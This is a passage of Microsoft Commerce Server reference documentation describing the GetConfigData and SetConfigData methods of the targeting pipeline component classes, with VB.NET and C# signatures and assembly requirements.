LoadCampaignsCommon | Provides a user interface to the configuration data for the LoadCampaignsCommonObject object.
LoadDiscounts | Provides a user interface to the configuration data for the LoadDiscounts object.
LoadHistory | Provides a user interface to the configuration data for the LoadHistory object.
LRUCacheFlush | Provides a user interface to the configuration data for the LRUCacheFlush object.
PredictorScoring | Provides a user interface to the configuration data for the PredictorScoring object.
RecordEvent | Provides a user interface to the configuration data for the RecordEvent object.
RecordHistory | Provides a user interface to the configuration data for the RecordHistory object.
SaveHistory | Provides a user interface to the configuration data for the SaveHistory object.
ScoreDiscounts | Provides a user interface to the configuration data for the ScoreDiscounts object.
SelectWinners | Provides a user interface to the configuration data for the SelectWinners object.
SendPrecomposedMessage | Provides a user interface to the configuration data for the SendPrecomposedMessage object.
ThrottleDMLPerformance | Provides a user interface to the configuration data for the ThrottleDMLPerformance object.
VerifyMessageBody | Provides a user interface to the configuration data for the VerifyMessageBody object.
VerifyRecipient | Provides a user interface to the configuration data for the VerifyRecipient object.
WriteEvents | Provides a user interface to the configuration data for the WriteEvents object.

For more information about pipeline components, see the Pipeline Component Reference.


AddAttachments Class (PIA)

Provides a user interface to the configuration data for the AddAttachments object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


AddAttachments Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


AddAttachments.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

[Visual Basic .NET]

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

AddAttachments Class


AddAttachments.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

AddAttachments Class


AdvertisingNeedsOfDelivery Class (PIA)

Provides a user interface to the configuration data for the AdvertisingNeedsOfDelivery object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


AdvertisingNeedsOfDelivery Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


AdvertisingNeedsOfDelivery.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.)

See Also

AdvertisingNeedsOfDelivery Class


AdvertisingNeedsOfDelivery.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.)

See Also

AdvertisingNeedsOfDelivery Class


CheckOptOut Class (PIA)

Provides a user interface to the configuration data for the CheckOptOut object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


CheckOptOut Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


CheckOptOut.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CheckOptOut Class


CheckOptOut.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CheckOptOut Class


ComposeDMLMessage Class (PIA)

Provides a user interface to the configuration data for the ComposeDMLMessage object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


ComposeDMLMessage Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


ComposeDMLMessage.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

ComposeDMLMessage Class


ComposeDMLMessage.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

ComposeDMLMessage Class


CreateUPMCookie Class (PIA)

Provides a user interface to the configuration data for the CreateUPMCookie object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


CreateUPMCookie Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


CreateUPMCookie.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();
[Visual Basic .NET]

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CreateUPMCookie Class


CreateUPMCookie.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

CreateUPMCookie Class


EvalTargetsGroup Class (PIA)

Provides a user interface to the configuration data for the EvalTargetsGroup object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


EvalTargetsGroup Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


EvalTargetsGroup.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

EvalTargetsGroup Class


EvalTargetsGroup.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

EvalTargetsGroup Class


FilterContent Class (PIA)

Provides a user interface to the configuration data for the FilterContent object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


FilterContent Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


FilterContent.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FilterContent Class


FilterContent.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FilterContent Class


FormatTemplate Class (PIA)

Provides a user interface to the configuration data for the FormatTemplate object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)


FormatTemplate Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


FormatTemplate.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FormatTemplate Class


FormatTemplate.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: DML_PIPELINELib (in DML_PIPELINELib.dll)

See Also

FormatTemplate Class


HistoryPenalty Class (PIA)

Provides a user interface to the configuration data for the HistoryPenalty object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in csfcomplib.dll)


HistoryPenalty Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


HistoryPenalty.GetConfigData Method (PIA)

Use this method to return a Dictionary object from which the user interface can read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in csfcomplib.dll)

See Also

HistoryPenalty Class


HistoryPenalty.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the Object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in csfcomplib.dll)

See Also

HistoryPenalty Class


IISAppendToLog Class (PIA)

Provides a user interface to the configuration data for the IISAppendToLog object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


IISAppendToLog Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


IISAppendToLog.GetConfigData Method (PIA)

Use this method to return a Dictionary object from which the user interface can read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

IISAppendToLog Class


IISAppendToLog.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the Object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

IISAppendToLog Class


LoadAdvertisements Class (PIA)

Provides a user interface for the configuration data for the LoadAdvertisements object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadAdvertisements Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadAdvertisements.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadAdvertisements Class


LoadAdvertisements.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadAdvertisements Class


LoadCampaignsCommon Class (PIA)

Provides a user interface for the configuration data for the LoadCampaignsCommon object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadCampaignsCommon Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadCampaignsCommon.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadCampaignsCommon Class


LoadCampaignsCommon.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadCampaignsCommon Class


LoadDiscounts Class (PIA)

Provides a user interface for the configuration data for the LoadDiscounts object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadDiscounts Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadDiscounts.GetConfigData (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadDiscounts Class


LoadDiscounts.SetConfigData (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadDiscounts Class


LoadHistory Class (PIA)

